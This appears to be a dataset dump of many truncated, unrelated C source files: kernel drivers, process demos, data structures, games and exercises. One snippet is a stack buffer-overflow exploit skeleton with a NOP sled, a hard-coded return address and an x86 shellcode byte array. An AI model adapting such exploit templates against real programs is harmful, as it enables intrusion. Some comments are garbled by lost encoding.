language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
/* * chardev.c: Creates a read-only char device that says how many times * you've read from the dev file */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/fs.h> #include <asm/uaccess.h> /* for put_user */ #include <linux/slab.h> #include <linux/sched.h> #include "charDeviceDriver.h" #define ...
C
#include <sys/wait.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char *argv[]) { pid_t cpid, w; int status; printf("parent PID is %d, groupid = %d\n", getpid(),getpgid(getpid())); // printf("hello yes.\n"); cpid = fork(); if (cpid == 0) { /* Code ex...
C
#include <stdio.h> #include <time.h> #include <stdlib.h> #include <unistd.h> #include "board.h" int main(void) { int line = 0, colum = 0, nBomb, i, j, nWin, op, rand = 0; time_t start; Board **mat; StartGame(&line, &colum, &nBomb, &nWin); mat = AloocMat(line, colum); IniBoard(mat, line, colum); DropBomb(mat, lin...
C
#include <stdio.h> #include <stdlib.h> #include <limits.h> void display(int *arr, int size) { //Empty array if (size == 0) { printf("In array don't have any element.\n"); printf("Please input a number into array!\n"); }else { for (int i = 0; i < size; i++) { ...
C
// file: mainB.c // author: Jason Morse // class: Computer Systems T/TH 1:30 PM // date: March 18, 2015 #include "stock.h" #include "partA.h" int menu(); int main(int argc, char *argv[]) { FILE *fp; char *line; char *symbol; char *closing; float closingNew; char *opening; float openingNew; char *number; in...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strsplit.c :+: :+: :+: ...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/ioctl.h> #include <dev/usb/usbhid.h> #include <dev/usb/usb_ioctl.h> int main(int argc, char *argv[]) { int fd, r; struct usb_gen_descriptor ugd; if (argc != 2 || argv[1][0] == '-') ...
C
#include<stdio.h> #include<stdlib.h> //INSERTION AT BEGINNING INTO LL struct node { int info; struct node* link; }* start; void create_list(int data); void insertbegin(int x); void display(); void main() { int i,n,data,x; start==NULL; printf("enter the number of nodes\n"); scanf("%d",&n); for(i=0;i<n;i++){ pr...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #define NOP 0x90 #define DEFAULT_BUFFER_SIZE 1500 #define DEFAULT_RETURN_ADDRESS 0xbfdbac20 char shellcode[]="\xeb\x1a\x59\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x31\xd2\x88" "\x51\x0f\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x31\xdb\xcd\x80" "\xe8\xe1\xf...
C
//ʵһжһDz //#define _CRT_SECURE_NO_WARNINGS //#include<stdio.h> //#include<stdlib.h> //#include<math.h> //int judge(int n) //{ // int i, tmp; // tmp = sqrt(n);//ƽ // for (i = 2; i <= tmp; i++) // { // if (n%i == 0) // { // printf("%d\n", n); // return 0;//ľֱӷ0 // } // } // return 1;//1 //} //int main() //{ // int ...
C
/* * MIT License * * Copyright (c) 2018 Matheus H. J. Saldanha <mhjsaldanha@gmail.com> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limita...
C
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <math.h> #include <string.h> #include <stdlib.h> /** Return values: * 0 - OK * 1 - Can't open matrix file; * 2 - Can't allocate CPUMEM for matrix * 3 - Can't allocate GPUMEM for matrix */ //Kernel definitio...
C
#include <stdio.h> int choose_road(int list_city[10][10],int n,int m,int x,int y,int *min,int now,int map_point[10][10]){ int i=0,j=0,next=0; int new_map_point[10][10]; now+=list_city[y][x]; next=now; map_point[y][x]=1; for(i=0;i<10;i++){ for(j=0;j<10;j++) new_map_po...
C
#include <stdio.h> #define N 10 /* 1 1 1 1 2 1 1 3 3 1 */ int main(void) { int arr[N][N] = {}; int i, j; for (i = 0; i < N; i++) { arr[i][0] = 1; for (j = 1; j < N; j++) { if (i == j) { arr[i][j] = 1; } else if (j < i && i > 0) // 左下角 arr[i][j] = arr[i-1][j] + arr[i-1][j-1]; } } for (...
C
/* Automorphic numbers */ /* Should work in MIPS for 4, 5, & 6 digit numbers */ #include <stdio.h> #include <math.h> void matchDigits(int); int main(){ int upperBound; printf("Enter an upper bound: "); scanf("%d", &upperBound); printf("Automorphic numbers up to %d are:\n", upperBound); int i; for (i = 0; i <...
C
#include <stdio.h> #define LBOUND 1 #define HBOUND 1001 typedef struct point{ int x; int y; }point; int main(){ int T,l1,l2; int area; scanf("%d",&T); point p1,p2; point p3,p4; while(T--){ area = 0; scanf("%d%d%d%d",&p1.x,&p1.y,&p2.x,&p2.y); l1 = p2.x - p1.x; l2 = p2.y - p1.y; scanf("%d%d%d%d",&p3.x...
C
#define _POSIX_C_SOURCE 200809L #include <stddef.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include "pila.h" #include "strutil.h" /////////////////////////////////////////////////////////////////////// //Funciones de operaciones. int raiz(int n, int inicio, int f...
C
#include <stdio.h> #include "ip_connection.h" #include "bricklet_sound_pressure_level.h" #define HOST "localhost" #define PORT 4223 #define UID "XYZ" // Change XYZ to the UID of your Sound Pressure Level Bricklet // Callback function for decibel callback void cb_decibel(uint16_t decibel, void *user_data) { (void)us...
C
/* list.h -- 简单链表类型的头文件 */ #ifndef LIST_H_ #define LIST_H_ #include <stdbool.h> /* C99特性 */ /* 特定程序的声明 */ #define TSIZE 45 /* 储存电影名的数组大小 */ struct film { char title[TSIZE]; int rating; }; /*一般类型定义*/ typedef struct film Item; typedef struct node { Item item; struct node * next; } Node; typedef...
C
// acceleration int period = 500; float multiplier = 0.999; int pins[] = {9, 11, 13}; int numPins = sizeof(pins)/sizeof(int); void setup() { for (int i=0 ; i<numPins ; i++) { pinMode(pins[i], OUTPUT); } } void loop() { for (int i=0 ; i<numPins ; i++) { flash(pins[i], period); pe...
C
// File: mainSolver.C // Release: $Name: $ // Revision: $Revision: $ // Modified: $Date: $ // Description: Driver code to solve on 2d strand meshes #include "STRAND2DFCMAN_defs.h" #include "Strand2dFCManager.h" int main(int argc, char *argv[]){ cout << "\n-----------------------------------...
C
/* * Console logging */ #include <stdio.h> #include "defs.h" static void putx4(uint8_t n) { n &= 0xf; if (n < 10) { putchar('0' + n); } else { putchar('a' + (n - 10)); } } void putx8(uint8_t x) { putx4(x >> 4); putx4(x >> 0); } void putx16(uint16_t x) { putx8(x >> ...
C
#include <stdio.h> #include <stdlib.h> #include "process.h" /* * file : process.c * date : 2018-05-14 * author : Taelim Hwang * purpose : create, delete and random generate process list. */ // create evaluation part PtrEvalTotal init_evaluation() { PtrEvalTotal et = (PtrEvalTotal)malloc(sizeof(struct EvalTotal)); e...
C
#include "../rtv1.h" t_light *light_new(int type) { t_light *light; if ((light = (t_light*)malloc(sizeof(t_light))) == NULL) ft_error("Error : malloc() failed.\n"); light->type = type; light->pos = (t_double3){0, 0, 0}; light->dir = (t_double3){0, 0, 0}; light->color = (t_double3){0, 0, 0}; return (light)...
C
/************************************************************************* Voyage - description ------------------- début : Novembre 2018 copyright : Mathis Guilhin & Téo Bouvard *************************************************************************/ //---------- Interface du module <Voy...
C
#include <stdio.h> #include <stdlib.h> //#include <gnuplot.h> typedef struct { double x[20]; double y[20]; } coord; /*typedef struct { double m; int a; double p; } __attribute__((packed)) point_t;*/ void plot(const char* name, coord* data, int size){ FILE* gnuplot_pipe = popen ("gnuplot -persistent","w"); fpr...
C
/* A7_05 : Program which is used to create deamon process. */ #include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include <sys/stat.h> int main(int argc,char **argv) { //variables initialization int childPid = -1; int wsStatus; printf("[INFO] Main process : %d\n",getpid());...
C
#include <stdlib.h> #include <stdio.h> #include <sys/ioctl.h> int main(void) { int stat; stat = ioctl(0, 8, 0, 0); if(!stat) printf("Drive is removable.\n"); else printf("Drive is not removable.\n"); return 0; }
C
/*In C, one function can call another. Write a program that calls a function named one_ three(). This function should display the word one on one line, call a second function named two(), and then display the word three on one line. The function two() should display the word two on one line. The main() function should ...
C
/* Copyright (c) 1992 by David Moore. All rights reserved. */ /* math_prims.c,v 2.4 1997/08/29 21:02:05 dmoore Exp */ #include "config.h" #include "ansify.h" #include "db.h" #include "code.h" #include "prim_offsets.h" #include "muck_time.h" #include "externs.h" /* Primitives contained in this file: +, -, *, /, %, <,...
C
#include <stdlib.h> #include "lists.h" /** * insert_node - function that inserts a node to a singly linked list. * @head: listint_t pointer to the head of the list * @number: number to insert in the list * * Return: the address of the new node, or NULL if it failed */ listint_t *insert_node(listint_t **head, int ...
C
/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: int longestConsecutive(TreeNode* root) { if (!root) return 0; int maxv = 0; ...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_iterative_power.c :+: :+: :+: ...
C
#include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) //argument-count, argument-values { for (int i = 0; i < argc; ++i) { printf("\n%s",argv[i]); } FILE* inputfile; if(argc <2){ } inputfile = fopen(argv[1]); return 0; }
C
#include <stdio.h> #define _USE_MATH_DEFINES #include <math.h> #define EPS 1e-4 int factorial(int n) { int r; for (r = 1; n > 1; r *= (n--)); return r; } void main(void) { double a = M_PI / 3; double s = 0; int n = 0; while (fabs(a)>EPS) { a = pow(-1, n) * pow(M_PI / 3, 2 * n + 1) / factorial(2 * n + 1); ...
C
#include "stdio.h" int fatorial(int); int main(){ int valor = 5; printf("Resultado é do fatorial de %d é %d \n", valor, fatorial(valor)); return 0; } int fatorial(int n){ if(n==100){ printf("Parada n == %d ",n); return 1; }else{ printf(" %d fatorial(%d) \n", n , ...
C
#include <unistd.h> #include <signal.h> // #include <siginfo.h> #include <stdlib.h> #include <stdio.h> void handler(int signo) { printf("\ncatch SIGINT...\n"); } int main(void) { int i; void (*hand)(int); // siganl function // parameter : SIGINT(Ctrl+C), handler(시그널 핸들러의 주소) hand = signal(SIGINT, handler); if...
C
#include "utils.h" #include <libft.h> #include <unistd.h> void swap_elements(int *cur, int *prev) { const int tmp = *cur; *cur = *prev; *prev = tmp; } t_bool is_descending_order(int num_elements, const int *elements) { int i; i = 1; while (i < num_elements) { if (elements[i] > elements[i - 1]) return (F...
C
#include <std.h> #include "../valley.h" inherit EDGE; int go_east(); int go_north(); void create() { ::create(); set_exits( ([ "north" : ROOMS+"v1", "east" : ROOMS+"e1513", ]) ); set_invis_exits(({"north","east"})); set_pre_exit_functions( ({"north", "east"}),({"GoThroughDoor", "GoThroughDoor"}) ); } int GoT...
C
#include <string.h> #include <stdio.h> char first[100]; /* first name */ char last[100]; /* last name */ char full_name[200]; /* full name */ int main() { strcpy(first, "John"); /* Initialize first name */ strcpy(last, "Lennon"); /* Initialize last name */ strcpy(full_name, first); /* full = "J...
C
#include "stm32f0xx.h" #include "usart.h" // #ifdef __GNUC__ // /* With GCC/RAISONANCE, small printf (option LD Linker->Libraries->Small printf // set to 'Yes') calls __io_putchar() */ // #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) // #else // #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f) // #endif /* __G...
C
#include <stdio.h> const int STACK_MAX = 100; typedef struct stack{ int data[STACK_MAX]; int top; }Stack; void stackInit(Stack *s){ s->top = 0; } int stackTop(Stack *s){ if(!s->top) return -1; return s->data[s->top]; } void stackPush(Stack *s, int n){ if(s->top < STACK_MAX) s->data[s-...
C
#include <stdio.h> #include <stdlib.h> int main() { int manager_pay, h_worker_pay, com_workers_pay, piece_worker_pay; int fixed_work_wage, overtime; int gross_pay; int items_made, pay_per_item; int paycode; while(paycode != 0){ printf("enter paycode(enter 0 to end):"); scanf("%d",&pay...
C
#include "Sort_Algorithms.h" #include "../Data_Structures/inc/Vector.h" #define FALSE 0 #define TRUE 1 void ShakeSort(Vector* _vector) { unsigned int isSorted = FALSE; size_t index = 0; /* size_t itemsNum;*/ size_t startIndex = 0; size_t endIndex = 0; void* item_L; void* item_R; if (!_vector || VectorItemsNum(...
C
#include <stdlib.h> #include <iostream> #include <string> #include <fstream> #include <iomanip> using namespace std; #include "enum.h" #include "arg.h" #include "random.h" #include "verbose.h" #include "sysfunc.h" int main() { cout << "Here we go!\n\n"; //---- Establish communications Comms::Initialize(); co...
C
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <malloc.h> #include <sys/stat.h> #include <sys/types.h> #include "mman.h" #include <string.h> int scmp(const void* p1, const void* p2) { const char* s1, * s2; s1 = *(char**)p1; s2 = *(char**)p2; return strcmp(s1, s2...
C
/* * kernel/kernel.c * * Minikernel. Versin 1.0 * * Fernando Prez Costoya * */ /* * * Fichero que contiene la funcionalidad del sistema operativo * */ #include "kernel.h" /* Contiene defs. usadas por este modulo */ /* * Practica 1 - Mostrar la llista de processos */ static void muestra_lista(lista_...
C
// // Created by FHang on 2020/11/14. // #include <stdio.h> int funcSum(int num); float funcCalculate(int m, int n, int p); int main() { int m, n, p; printf("enter num:"); scanf_s("%d %d %d", &m, &n, &p); float num = funcCalculate(m, n, p); printf("Calculate Num :%7.2f", num); return 0; } in...
C
// our pixel format in memory is 5 bits of red, 6 bits of green, 5 bits of blue #define PIXEL16(r,g,b) (((r & 0x1F)<<11) | ((g & 0x3F)<<5) | ((b & 0x1F)<<0)) // ... but for ease of programming we refer to colours in 8/8/8 format and discard the lower bits #define PIXEL24(r,g,b) PIXEL16((r>>3), (g>>2), (b>>3)) #de...
C
#include "common.h" /***************************************************** 函数: void Delay(vu32 nCount) 功能: 延时指定时间 参数: vu32 nCount 延时指定时间 返回: 无 ******************************************************/ void Delay(vu32 nCount) { for(; nCount != 0; nCount--); }
C
/* Jyotishka Bhattacharjee 2012025 */ #include <stdio.h> int main() { int row, col; printf("Enter the order of 2D matrix (row*col)\n"); scanf("%d %d", &row, &col); int array2d[row][col]; printf("Enter the 2D array\n"); for (int i = 0; i < row; i++) { for (int j = 0; j < col; j++) ...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #define MAXLINE 1000 void open_file(char* name, FILE** fp); char* readline(char* line, FILE* fp); int main(int argc, char* argv[]) { if (argc != 3) { printf("Usage: %s <file1> <file2>\n", argv[0]); exit(1); } FILE* file1; FI...
C
/** \file teclado1.C Programa que demostra a utilizao do teclado de forma simples. \ingroup teclados */ #include <Slang++/slang.H> using namespace Slang; #include <cctype> // para isprint(). using namespace std; int main () { Ecra::ObjectoCor cor_normal(amarelo, preto); Ecra::ObjectoCor cor_a...
C
// Chad Tolleson // CS584 - Spring 2019 // Final Project - Convex Hull // filename: f_printpoint.c #include "headers.h" int printpoint(pt* p) { printf("point index %d\t",p->index); printf("coords: %f, %f\t",p->x, p->y); printf("theta: %f, radius: %f\n",p->theta, p->radius); return 1; ...
C
#include "holberton.h" /** * print_b - print binary * * @args: args * @options: options */ void print_b(va_list args, Options options) { int digits[64], i, length, totallen; unsigned long int n; GET_SIZED(n, options, args, unsigned int); /* read digits */ for (length = 0; n != 0 || (length == 0 && options....
C
#include <stdio.h> #include <stdbool.h> void display_board(char board[3][3]); int main() { int input; char board[3][3] = { {'1', '2','3'}, {'4','5','6'}, {'7','8','9'} }; int player = 1; bool has_winner = false; do { display_board(board); //jayfer input = get_input_from_player(playe...
C
#include "GenList.h" /* GenList internal ----------- */ #define INITIAL_CAPACITY 32 #define LIST_AS_LIS _GENLIST_ *lis = (_GENLIST_*)list #define MUST_NOT_NULL if (!list) { last_err = GENLIST_ERR_UNEXPECTED_NULL; return false; } typedef struct _GENLIST_ { size_t item_size; size_t used...
C
#include <stdio.h> int main(void) { int num; printf("Enter a number: "); scanf("%d", &num); if (num % 13 == 0){ printf("It is divisable by 13\n"); } else { printf("It is not dicisable by 13\n"); } return 0; }
C
/***********************************************************************************/ /* td.c Converting seconds to human readable time duration. */ /* Copyright (c) 2014 Yu-Jie Lin */ /* ...
C
/* 将n1、n2、n3指向的三个int型整数按升序排列。 */ #include <stdio.h> void sort3(int *n1, int *n2, int *n3) { int t; if (*n1 > *n2) { t = *n2; *n2 = *n1; *n1 = t; } if (*n2 > *n3) { t = *n3; *n3 = *n2; *n2 = t; } if (*n1 > *n3) { t = *n3; *n3 = *n1; ...
C
/* MSL * Copyright 1995-2006 Freescale Corporation. All rights reserved. * * $Date: 2006/02/08 20:34:18 $ * $Revision: 1.32.2.2 $ */ /* * Routines * -------- * __strtoul * * Implementation * -------------- * * The string scanner is implemented as an extended Finite State Machine. * A state diagra...
C
#include <stdio.h> #include <stdlib.h> int canplace(int r,int c[50]) { int i; for(i=0;i<r;i++) { if(c[i]==c[r] || abs(c[i]-c[r])==abs(i-r)) return 0; } return 1; } void display(int c[50],int n) { int i,j; char cb[10][10]; for(i=0;i<n;i++) for(j=0;j<n;j++) cb[i]...
C
#include <stdio.h> int main() { int i; int bit[5] = {1, 2, 3, 4, 5}; FILE *fp = fopen("binary.dat", "wb"); fwrite(bit, sizeof(bit), 5, fp); fclose(fp); return 0; }
C
#include <stdlib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int nbre_lignes(char* file_dir); void extract_file(char* file_dir, char** sequence); int nbre_read(char* file_dir); int taille_read(char* file_dir); char* concatenate(char *r1, char *r2, int best_olen, int max_size); void adj_matrix(char** ...
C
#include <stdio.h> #define MAX(a,b) a > b ? a : b #define VALID 0 #define PRINT_MAX(a, b) printf("The biggest number is %d\n", MAX(a, b)); #define PRINT_B printf("The value of b is less than 10\n"); #define RETURN_GOOD return 0; int main() { int a = 50; int b = 5; PRINT_MAX(a, b) #if VALID P...
C
#include "../push_swap.h" void ft_setpos(t_stack **stack) { t_stack *tmp; int i; int pos; ft_findmin(stack)->pos = 1; pos = 2; i = ft_findmin(stack)->num; while (i <= ft_findmax(stack)->num) { tmp = *stack; while (tmp) { if (tmp->num == i && tmp->pos == 0) { tmp->pos = pos; pos++; br...
C
#include<stdio.h> #include<stdlib.h> typedef struct Node { int data; struct Node * next; } NODE, *PNODE; typedef struct Queue { PNODE pFront; PNODE pTail; } QUEUE, *PQUEUE; void init(PQUEUE pQueue); void show(PQUEUE pQueue); int isEmpty(PQUEUE pQueue); void enQueue(PQUEUE pQueue, int val); v...
C
#include <stdio.h> int main(){ int ids[3] = {100,200,300}; int *salary, salary1, salary2, *salary3; salary1 = ids[0] * ids[1]; //100 * 200 salary = &ids[1] ; //*salary = 200 salary2 = *(ids+1)* *(ids+2); //200 * 300 salary3 = ids+2; //2000 + 2 printf("*salary = %d\nsalary1 = %d\n", *salar...
C
//Author: Anikait Singh //Creation date: 28 Mar,2021 //Purpose: Area and Perimeter of Circle, Square and Rectangle. #include<stdio.h> //Pre processor directive to include standard input and output function header file. int main(){ //Start of the main function body. float raduisOfCircle, sideOfSquare, legthOfRectangl...
C
#include<stdio.h> long int removezero(long int c); int main() { long int t,c,i = 0,e1,e2,e3; long double ulimit,llimit; scanf("%ld",&t); while(i < t) { i ++; scanf("%ld",&c); c = removezero(c); llimit = 0.95*c; ulimit = 1.05*c; e1 = c - (c%10); if (e1 >= llimit && e1 <= ulimit) { printf("absurd\...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_history.c :+: :+: :+: ...
C
// all-monster-sorts.c - Sort monsters by name and weight. /* The idea of sorting is simple: take unordered objects, and arrange them in an order. It has a lot of uses, so there's been a lot of work done with it. Here, we're going to demonstrate a few of the simpler, more classic sorting techniques. */...
C
#pragma warning(disable:4996) # include <stdio.h> # include <stdlib.h> # include <string.h> char* kop(char* temp ) { char *tab = (char*)malloc((strlen(temp) +1) * sizeof(char)); strcpy(tab, temp); return tab; } void wczyt(char *temp) { scanf(" %s", temp); } int main() { char temp[50], **slowa; int n ,i; scanf("%...
C
#include <stdio.h> #include <sys/stat.h> #include <dirent.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <assert.h> #include <fcntl.h> #include <limits.h> #include <string.h> enum COMPONENTS { NUMBER = 1, NOT_NUMBER = 0, BASE = 10, BUF_SIZE = 2 ...
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward d...
C
#include <stdio.h> #include <strings.h> #define streq(a,b) (strcmp(a,b) == 0) #define TRUE 1 #define FALSE 0 #define UNKNOWN -1 #define OP_AND 1 #define OP_OR 2 #define OP_XOR 3 #define OP_NOT 4 #define OP_ASS 5 #define VARS_LENGTH 26 int vars[VARS_LENGTH]; char buffer[256]; char lastError[256]; #def...
C
/*---------------------------------------------- Name: Mohamad Kanafani | ID: 0702067 | Date: 03/28/2014 | Class: CIS 3110 | Assignment: Assignment 3: memory mangment | ------------------------------------...
C
#include "server.h" /* Global Varaibles */ char *server_dir; // Root directory of the web server char server_port[MAX_PORT_LENGTH]; // Port the server is running on int client_fds[MAX_CLIENT_CONNECTIONS]; // File Descriptors for every possible client connection int host_fd; ...
C
/************************************************************************* > File Name: Daemon_achieveAPI.c > Author: > Mail: > Created Time: 2017年09月26日 星期二 10时46分38秒 ************************************************************************/ #include<stdio.h> #include <stdlib.h> #include <time.h> #include <fcnt...
C
#include <string.h> #include <stdio.h> #include <stdlib.h> #define ll long long int #define TRUE 1 #define FALSE 0 #define BOOL int struct node { ll val; struct node* next; // struct node* prev; }; // function to append to a linked list void append(struct node** head, ll num) { //printf("appending ...
C
#include "main.h" /** * print_alphabet - print print_alphabet function * * Description:this function print lower tetter alphabet * Return: 0 */ void print_alphabet(void) { int i; for (i = 'a'; i <= 'z'; i++) { _putchar(i); } _putchar('\n'); }
C
//============================================================================= // Copyright (C) 2002 Radical Entertainment Ltd. All rights reserved. // // File: .h // // Description: this file contains some operators for colors *, +, -, etc // // History: 29/01/2003 + Created -- Ian Gipson // //===========...
C
#include<stdio.h> #include<stdlib.h> #define infinity 99999 #define white 1 #define grey 2 #define black 3 #define nil -1 #define MAX 100 #define dir 1 #define undir 0 void enqueue(int arr[],int item,int *front,int *rear); int dequeue(int arr[],int *front,int *rear); void creategraph(int arr[][MAX],int v,int d_un); voi...
C
#include <stdio.h> #include <stdlib.h> #include <dlfcn.h> int x[2] = {1, 2}; int y[2] = {3, 4}; int z[2]; int main(int argc, char** argv) { void *handle; void (*addvec_fptr)(int *, int *, int *, int); void (*multvec_fptr)(int *, int *, int *, int); void (*addsqvec_fptr)(int *, int *, int *, int); char *error; ...
C
/* ** EPITECH PROJECT, 2019 ** my_strlen.c ** File description: ** Returns the length of a given string pointer */ #include "my_string.h" size_t my_strlen(const char *s) { const char *char_ptr = s; if (!s) return (-1); while (*char_ptr) char_ptr++; return (char_ptr - s); }
C
#include <stdio.h> #include "gd.h" char *infile=0, *outfile=0; gdImagePtr im, im_out; int w,h; int sx,sy; int percent = 0; // ΨΤȤ int gaussian = 0; // ե륿 int accum = 0; // 졼ȥե륿 int shrink = 0; // ̾ main(int argc, char *argv[]){ FILE *fp; int i,j,x,y,c; if(argc<4){ fprintf(stderr, "[%s] compiled [%s/%s ...
C
#include <stdio.h> #include<stdlib.H> struct Node { int data; struct Node*next; // self referencing structures }; void list(struct Node*ptr){ while(ptr!=NULL){ printf("The element is :%d\n",ptr->data); ptr=ptr->next; } } struct Node*DeleteBegin(struct Node* head){ struct Node *p...
C
/** * Return an array of size *returnSize. * Note: The returned array must be malloced, assume caller calls free(). */ int * plusOne(int *digits, int len, int *returnSize) { int carry; int *p, i; p = malloc(sizeof *p * len); p[len-1] = digits[len-1] + 1; carry = p[len-1] == 10 ? 1 : 0; p[len...
C
#include <stdio.h> /* Question 1 */ int isPrime(int x); int sLen(char s[]); void reverse(); int sumDig(int a); /* int main() { printf("%d\n", isPrime(18)); printf("%d\n", sLen("Eight Letters") ); reverse(); printf("%d\n", sumDig(628105)); return 0; } */ int isPrime(int x) { int i, prime=1; for(i=2; i...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_type_c.c :+: :+: :+: ...
C
#include<stdio.h> #include<stdlib.h> #include<fcntl.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<limits.h> #include<string.h> #include "hashtable.h" // to test if a C/Python program can write into the FS // unmount from the file system first , and then run tester.c // mount the file syste...
C
#include <pthread.h> #include <stdio.h> #include "thread-mem-cal.h" #define NUM_THREADS 5 void *one( ) { printf("I am One\n"); void *a = thread_malloc(2); void *b = thread_malloc(8); void *c = thread_malloc(5); thread_free(a); thread_free(c); thread_free(b); a = thread_malloc(55); ...
C
#include"header.h" void quick_sort(int arr[], int low, int high) { int res; if(low < high) { res = partition(arr, low, high); quick_sort(arr, low, res-1); quick_sort(arr, res+1, high); } }
C
/* ** EPITECH PROJECT, 2020 ** lib ** File description: ** split */ #include "lib.h" int start_x(char *str, char c, char d) { int x = 0; while ((str[x] == c || str[x] == d) && str[x]) x++; return (x); } int get_num_word(char *str, char c, char d) { int x = 0; int num_word = 1; w...
C
/* * Accessing matrix elements in Row-major order. * * Author: Nishant Malpani (Nishant.Malpani@iiitb.org) * */ #include <stdio.h> #define N 1000 #define M 1000 int main() { int i, j; int matrix[N][M] = {0}; printf("Running test %s...\n", __FILE__); for(i = 0; i < N; i++) { ...
C
#include<stdio.h> void main() { int i,num,avg; clrscr(); printf("enter the num"); scanf("%d",&num); for(i=0;i<=num;i++) { avg=num/5; printf("the avg num is %d",avg); } getch(); }
C
#include "include_all.h" struct ListNode* mergeTwoLists(struct ListNode* l1_p, struct ListNode* l2_p) { struct ListNode* head_p; struct ListNode** node_pp = &head_p; while (1) { if (l1_p == NULL) { *node_pp = l2_p; return head_p; } else if (l2_p == NULL) { *node_pp = l1_p; return head_p; } int v...
C
#include<stdio.h> int main() { FILE *fb,*fm,*fe,*fr; char *result_file = "result.txt"; char *bangla_file = "bangla.txt"; char *math_file = "math.txt"; char *english_file = "english.txt"; int i,j,bangla_marks[11],english_marks[11],math_marks[11]; double result[11]; fb = fopen(bangla_fi...
C
#include"../tree.h" tree* delbst(tree *t) { int k,flag=0; printf("\n Enter the element you wish to delete "); scanf(" %d",&k); tree *root=t; while(t) //element exists { if(k==t->data) {flag=1; break; } if(k>t->data) t=t->right; else t=t->left; } if(flag!=1) { printf("\n E...
C
#include "monty.h" /** * read_file - reads file contents into buffer * @fd: the file descriptor for a certain file * Return: a pointer to the buffer created */ char *read_file(int fd) { int bufsize = 64, rd; char *ret, *tmp; ret = malloc(sizeof(char) * bufsize); if (ret == NULL) return (NULL); ret = memset...